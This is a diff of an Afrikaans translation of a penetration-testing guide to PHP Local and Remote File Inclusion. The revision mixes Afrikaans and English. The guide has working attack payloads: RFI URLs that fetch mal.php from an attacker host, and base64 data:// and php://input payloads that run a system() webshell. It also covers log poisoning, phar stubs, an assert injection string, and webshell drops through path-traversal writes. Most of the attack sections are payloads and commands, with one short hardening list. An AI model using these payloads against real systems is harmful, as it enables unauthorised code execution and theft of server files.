+Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se padparsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n ander benadering vereis, en toetsing is dikwels nodig om die doeltreffendste metode te vind.
 
 **Hierdie kwesbaarheid is reggestel in PHP 5.3.**
 
@@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion
 
-In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou server insluit en RCE kry:
+In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Indien om een of ander rede **`allow_url_include`** is **On**, maar PHP is **filtering** toegang tot eksterne webbladsye, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry:
+Indien om een of ander rede **`allow_url_include`** **On** is, maar PHP toegang tot eksterne webblaaie **filtreer**, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te kry:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string benodig het wat op `.txt` eindig, dus eindig die string daarmee en nadat die b64 decode plaasgevind het sal daardie deel net gemors teruggee en die werklike PHP code ingesluit word (en daarom uitgevoer word).
+> In die vorige kode is die finale `+.txt` bygevoeg omdat die attacker 'n string nodig gehad het wat op `.txt` eindig, sodat die string daarmee eindig en na die b64 decode sal daardie deel net gemors teruggee en die werklike PHP-kode ingesluit (en gevolglik uitgevoer) word.
 
-Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
+Nog 'n voorbeeld **wat nie die `php://` protocol gebruik nie** sou wees:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python wortelelement
+## Python Wortelelement
 
-In python in 'n kode soos hierdie:
+In Python, in 'n kode soos hierdie:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige path** net verwyder:
+As die gebruiker 'n **absolute path** na **`file_name`** deurgee, word die **vorige pad net verwyder**:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
 Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
 
-> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan samvoeging voort vanaf die absolute pad-komponent.
+> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en samevoeging gaan voort vanaf die absolute padkomponent.
 
-## Java lys van gidse
+## Java: Lys van gidse
 
-Dit lyk of as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **gidslys teruggestuur word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
+Dit lyk asof as jy 'n Path Traversal in Java het en jy **vir 'n gids vra** in plaas van 'n lêer, 'n **lys van die gids teruggestuur word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
 
 ## Top 25 parameters
 
-Hier is 'n lys van top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI)-kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@@ -211,38 +211,38 @@ Hier is 'n lys van top 25 parameters wat kwesbaar kan wees vir local file inclus
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI using PHP wrappers & protocols
+## LFI / RFI gebruik PHP wrappers & protokolle
 
 ### php://filter
 
-PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
+PHP filters laat toe om basiese **wysigingsoperasies op die data** uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
 - `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
-- Note that this filter has disappear from the modern versions of PHP
+- Nota dat hierdie filter uit moderne weergawes van PHP verdwyn het
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
-- `convert.iconv.*` : Transformeer na 'n ander kodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle koderinge** wat ondersteun word te kry, voer in die konsole uit: `iconv -l`
+- `convert.iconv.*` : Skakel na 'n ander enkodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle enkodings** wat ondersteun word te kry, hardloop in die konsole: `iconv -l`
 
 > [!WARNING]
-> Deur die `convert.iconv.*` konversiefilter te misbruik kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of 'n funksie soos include te laat verwerk arbitrêre teks. Vir meer inligting sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Deur misbruik te maak van die `convert.iconv.*` omskakelingsfilter kan jy **willekeurige teks genereer**, wat nuttig kan wees om willekeurige teks te skryf of om 'n funksie soos include te laat verwerk wat willekeurige teks hanteer. Vir meer inligting sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
-- `zlib.inflate`: Decompress the data
+- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting wil eksfiltreer)
+- `zlib.inflate`: De-komprimeer die data
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
-- `mcrypt.*`: Verouderd
-- `mdecrypt.*`: Verouderd
-- Other Filters
-- Deur in PHP `var_dump(stream_get_filters());` uit te voer kan jy 'n paar **onverwagte filters** vind:
+- `mcrypt.*` : Verouderd
+- `mdecrypt.*` : Verouderd
+- Ander Filters
+- As jy in PHP `var_dump(stream_get_filters());` hardloop kan jy 'n paar **onverwagte filters** vind:
 - `consumed`
-- `dechunk`: reverses HTTP chunked encoding
+- `dechunk`: keer HTTP chunked enkodering om
 - `convert.*`
 ```php
 # String Filters
@@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> Die deel "php://filter" is case insensitive
+> Die deel "php://filter" is hoofdletterongevoelig
 
-### Gebruik van php filters as oracle om arbitrêre lêers te lees
+### Gebruik php filters as oracle om arbitrêre lêers te lees
 
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die output terug van die server te kry. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n exception gooi.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitvoer deur die bediener teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering sal gooi.
 
-In die oorspronklike post vind jy 'n gedetaileerde verduideliking van die tegniek, maar hier is 'n vinnige opsomming:
+In die oorspronklike pos vind jy 'n gedetailleerde verduideliking van die tegniek, maar hier is 'n vinnige opsomming:
 
-- Gebruik die codec **`UCS-4LE`** om die leidende karakter van die teks aan die begin te laat en om die grootte van die string eksponensieel te laat toeneem.
-- Dit sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraai word** dat php 'n **error** sal veroorsaak.
-- Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is.
-- Dit, gekombineer met die vorige (en ander filters afhangend van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php 'n error laat gooi.
-- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en die php error word getrigger omdat dit met die aanvanklike bom vermenigvuldig.
-- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters in die hex-bereik te skuif).
-- Wanneer die aanvanklike char 'n nommer is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die nommer te leak.
-- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te leak**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
-- En om verder data te kan bekom, is die idee om **2 bytes junk data aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, **UCS-4LE** toe te pas om dit **te pivot met die volgende 2 bytes**, en die data te **delete tot by die junk data** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy by die gewenste bit kom om te leak.
+- Gebruik die codec **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en sodoende die grootte van die string eksponensieel te laat toeneem.
+- Dit sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraden word** dat php 'n **fout** sal veroorsaak.
+- Die **dechunk** filter sal **alles verwyder as die eerste karakter nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste karakter hex is.
+- Dit, gekombineer met die vorige een (en ander filters afhangend van die geraadde letter), maak dit moontlik om 'n letter aan die begin van die teks te raai deur te kyk wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. As dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php laat fout.
+- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende een (so na hierdie codec: a -> b). Dit laat ons toe om byvoorbeeld te ontdek of die eerste letter 'n `a` is omdat as ons hierdie codec 6 keer toepas a->b->c->d->e->f->g die letter nie meer 'n hexadecimal karakter is nie, dus verwyder dechunk dit nie en die php-fout word geaktiveer omdat dit met die aanvanklike bom vermenigvuldig.
+- Deur ander transformasies aan die begin te gebruik, soos **rot13**, is dit moontlik om ander karakters te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
+- Wanneer die aanvanklike karakter 'n getal is, moet dit base64 gekodeer word en moet jy die eerste 2 letters leak om die getal te ontsluit.
+- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te leak**. Deur order memory filters te gebruik soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
+- En om verder data te kan bekom, is die idee om **2 bytes rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, **UCS-4LE** toe te pas om dit **met die volgende 2 bytes te pivot**, en **verwyder die data tot by die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste deel bereik om te leak.
 
-In die post is 'n tool om dit outomaties uit te voer ook leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+In die pos is 'n hulpmiddel om dit outomaties uit te voer ook leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
 ### php://fd
 
-Hierdie wrapper laat toe om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die inhoud van opened files te exfiltrate:
+Hierdie wrapper maak dit moontlik om toegang tot file descriptors te kry wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te exfiltrate:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om onderskeidelik toegang tot die **file descriptors 0, 1 and 2** te kry (nie seker hoe dit in 'n aanval nuttig kan wees nie)
+Jy kan ook **php://stdin, php://stdout en php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 en 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
 
-### zip:// and rar://
+### zip:// en rar://
 
-Laai 'n Zip of Rar-lêer met 'n PHPShell binne en kry toegang daartoe.\
-Om die rar-protokol te kan misbruik moet dit **spesifiek geaktiveer wees**.
+Laai 'n Zip- of Rar-lêer op met 'n PHPShell binne en kry toegang daartoe.\
+Om die rar protocol te kan misbruik moet dit **spesifiek geaktiveer** wees.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-Neem kennis dat hierdie protokol beperk word deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
+Let wel dat hierdie protokol beperk word deur die php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
 
 ### expect://
 
-Expect moet geaktiveer wees. Jy kan code hiermee uitvoer:
+Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:
 ```
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
 ```
 ### input://
 
-Spesifiseer jou payload in die POST parameters:
+Spesifiseer jou payload in die POST-parameters:
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 ### phar://
 
-'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai gebruik. Die PHP-kodefragment hieronder demonstreer die skep van 'n `.phar`-lêer:
+'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai gebruik. Die PHP-codefragment hieronder demonstreer die skep van 'n `.phar`-lêer:
 ```php
 <?php
 $phar = new Phar('test.phar');
@@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
 $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
 $phar->stopBuffering();
 ```
-Om die `.phar` lêer te kompileer, moet die volgende opdrag uitgevoer word:
+Om die `.phar`-lêer te kompileer, moet die volgende opdrag uitgevoer word:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik benut kan word om Local File Inclusion (LFI)-kwesbaarhede uit te buit.
+By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik misbruik kan word om Local File Inclusion (LFI) kwesbaarhede te eksploiteer.
 
-In gevalle waar die LFI slegs lêers lees sonder om die PHP-kode daarin uit te voer — byvoorbeeld deur funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()` — kan 'n uitbuiting van 'n deserialization vulnerability probeer word. Hierdie kwesbaarheid hang saam met die lees van lêers deur die `phar` protocol.
+In gevalle waar die LFI slegs lêers lees sonder om die PHP-kode daarin uit te voer, via funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()`, kan daar 'n poging aangewend word om 'n deserialization-kwesbaarheid te exploiteer. Hierdie kwesbaarheid is geassosieer met die lees van lêers met die `phar` protocol.
 
 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
 
@@ -373,32 +373,32 @@ phar-deserialization.md
 
 ### CVE-2024-2961
 
-Dit was moontlik om **any arbitrary file read from PHP that supports php filters** te misbruik om 'n RCE te kry. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Baie kort opsomming: 'n **3 byte overflow** in die PHP heap is misbruik om die **alter the chain of free chunks** van anspecific grootte te verander sodat dit moontlik was om **write anything in any address**, daarom is 'n hook bygevoeg om **`system`** aan te roep.\
-Dit was moontlik om alloc chunks van spesifieke groottes te skep deur meer php filters te misbruik.
+It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
+It was possible to alloc chunks of specific sizes abusing more php filters.
 
-### Meer protokolle
+### More protocols
 
 Kyk na meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
 
 - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n file inclusion attack)
-- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
-- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URL's
-- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s)-URL's
-- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind pathnames wat by 'n patroon pas (dit lewer niks drukbaars terug, so nie regtig nuttig hier nie)
+- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
+- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
+- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-strome (nie nuttig om arbitrary files te lees nie)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
 
 ## LFI via PHP's 'assert'
 
-Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer die 'assert' funksie betrokke is, aangesien dit kode binne stringe kan uitvoer. Dit is veral problematies as input wat directory traversal karakters soos ".." bevat, gekontroleer word maar nie behoorlik gesaniteer nie.
+Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer die 'assert' funksie betrokke is, wat kode binne strings kan uitvoer. Dit is veral problematies as insette wat directory traversal-karakters soos ".." bevat, ondersoek word maar nie behoorlik gesanitiseer is nie.
 
-Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal soos volg te voorkom:
+For example, PHP code might be designed to prevent directory traversal like so:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Alhoewel dit daarop gemik is om traversal te stop, skep dit onbedoeld 'n vektor vir code injection. Om dit te exploit om lêerinhoud te lees, kan 'n attacker gebruik:
+Alhoewel dit bedoel is om traversal te stop, skep dit per ongeluk 'n vektor vir code injection. Om dit te misbruik om file contents te lees, kan 'n attacker gebruik:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
@@ -411,38 +411,38 @@ Dit is belangrik om hierdie payloads te **URL-encode**.
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Hierdie tegniek is relevant in gevalle waar jy die **lêerpad** van 'n **PHP-funksie** beheer wat 'n **lêer** sal aangryp, maar jy sien nie die inhoud van die lêer nie (soos 'n eenvoudige oproep na **`file()`**) omdat die inhoud nie vertoon word.
+> Hierdie tegniek is relevant in gevalle waar jy die **file path** van 'n **PHP function** beheer wat 'n **file** sal **access**, maar jy sal nie die inhoud van die file sien nie (soos 'n eenvoudige oproep na **`file()`**) en die inhoud word nie getoon nie.
 
-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via 'n PHP filter misbruik kan word om die inhoud van 'n lêer via 'n error oracle te **exfiltrate**.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via PHP filter misbruik kan word om die inhoud van 'n file via 'n error oracle te exfiltrate.
 
-In samevatting gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
+Kortliks, gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n file so **big** te maak dat die **PHP function opening** die file 'n **error** sal veroorsaak.
 
-Daarna, om die eerste karakter te leak, word die filter **`dechunk`** saam met ander soos **base64** of **rot13** gebruik en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te leak**.
+Dan, om die eerste char te leak, word die filter **`dechunk`** gebruik tesame met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander chars aan die begin te plaas en hulle te leak**.
 
 **Funksies wat moontlik kwesbaar is**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
-Vir die tegniese besonderhede, sien die genoemde post!
+Vir die tegniese besonderhede, kyk na die genoemde post!
 
 ## LFI2RCE
 
 ### Arbitrary File Write via Path Traversal (Webshell RCE)
 
-Wanneer server-side kode wat lêers inlees/upload verwerk die bestemmingpad bou met gebruiker-beheerde data (bv. 'n filename of URL) sonder om dit te canonicaliseer en te valideer, kan `..` segments en absolute paths uit die beoogde gids ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell te drop.
+Wanneer server-side code wat files ingesit/oppgelaai (ingests/uploads) bou die bestemmingpad met gebruiker-gekontrolleerde data (bv. 'n filename of URL) sonder om dit te canonicaliseer en te valideer, kan `..` segments en absolute paths die beoogde directory verlaat en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.
 
-Tipiese uitbuitingstroom:
-- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n pad/filename aanvaar en inhoud na die skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
+Tipiese exploit-werkvloei:
+- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en inhoud na skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
 - Bepaal web-exposed directories. Algemene voorbeelde:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Stel 'n traversal path saam wat uit die beoogde stoor-gids uitbreek na die webroot, en sluit jou webshell inhoud in.
-- Blaai na die dropped payload en voer opdragte uit.
+- Skep 'n traversal path wat uit die beoogde storage directory breek in die webroot, en sluit jou webshell-inhoud in.
+- Blaai na die gedropte payload en voer opdragte uit.
 
-Nota:
-- Die kwesbare diens wat die skryf uitvoer mag na 'n non-HTTP poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portal (verskillende poort) sal later jou payload bedien.
+Notes:
+- Die kwesbare diens wat die write uitvoer, mag na 'n non-HTTP port luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portaal (ander port) sal later jou payload bedien.
 - Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
 
-Generiese XML/JMF-styl voorbeeld (produk-skemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):
+Generiese XML/JMF-styl voorbeeld (produk schemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
@@ -466,26 +466,26 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Verharding wat hierdie klas foute teëwerk:
-- Los op na 'n canonical path en dwing af dat dit 'n afstammeling van 'n allow-listed base directory is.
-- Weier enige path wat `..`, absolute roots, of drive letters bevat; verkies gegenereerde filenames.
-- Laat die writer loop as 'n laag-privilege rekening en skei write directories van served roots.
+Hardening wat hierdie klas foute teëwerk:
+- Los op na ’n kanonieke pad en dwing af dat dit ’n nakomeling is van ’n allow-listed base directory.
+- Verwerp enige pad wat `..`, absolute roots, of stasieletters bevat; verkies gegenereerde filenames.
+- Voer die writer as ’n laagprivilegieerde rekening uit en skei write directories van served roots.
 
 ## Remote File Inclusion
 
-Eerder verduidelik, [**volg hierdie skakel**](#remote-file-inclusion).
+Explained previously, [**follow this link**](#remote-file-inclusion).
 
 ### Via Apache/Nginx log file
 
-As die Apache of Nginx-bediener **vulnerable to LFI** binne die include-funksie is, kan jy probeer toegang kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, en in die **user agent** of in 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** plaas en daardie lêer include.
+If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
 
 > [!WARNING]
-> Let wel dat **as jy dubbele aanhalingstekens gebruik** vir die shell in plaas van **simple quotes**, die dubbele aanhalingstekens verander sal word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
+> Let wel dat **as jy double quotes gebruik** vir die shell in plaas van **single quotes**, sal die double quotes verander word na die string "_**quote;**_", **PHP sal ’n fout gooi** en **niks anders sal uitgevoer word nie**.
 >
-> Maak ook seker dat jy die **payload korrek skryf** anders sal PHP elke keer 'n fout gee wanneer dit probeer die log-lêer laai en jy sal nie 'n tweede geleentheid hê nie.
+> Maak ook seker dat jy die payload **korrek skryf**, anders sal PHP elke keer fout gee wanneer dit probeer die log file laai en sal jy nie ’n tweede kans hê nie.
 
-Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan in hierdie header ingesit word.\
-Ander moontlike log paths:
+This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
+Other possible log paths:
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
@@ -497,35 +497,35 @@ Ander moontlike log paths:
 /var/log/nginx/error.log
 /var/log/httpd/error_log
 ```
-Fuzzing woordlys: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
+Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 
-### Via E-pos
+### Via Email
 
 **Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
 
 ### Via /proc/\*/fd/\*
 
 1. Laai baie shells op (byvoorbeeld: 100)
-2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), met $PID = PID van die proses (kan deur brute force bepaal word) en $FD = die lêerbeskrywer (kan ook deur brute force bepaal word)
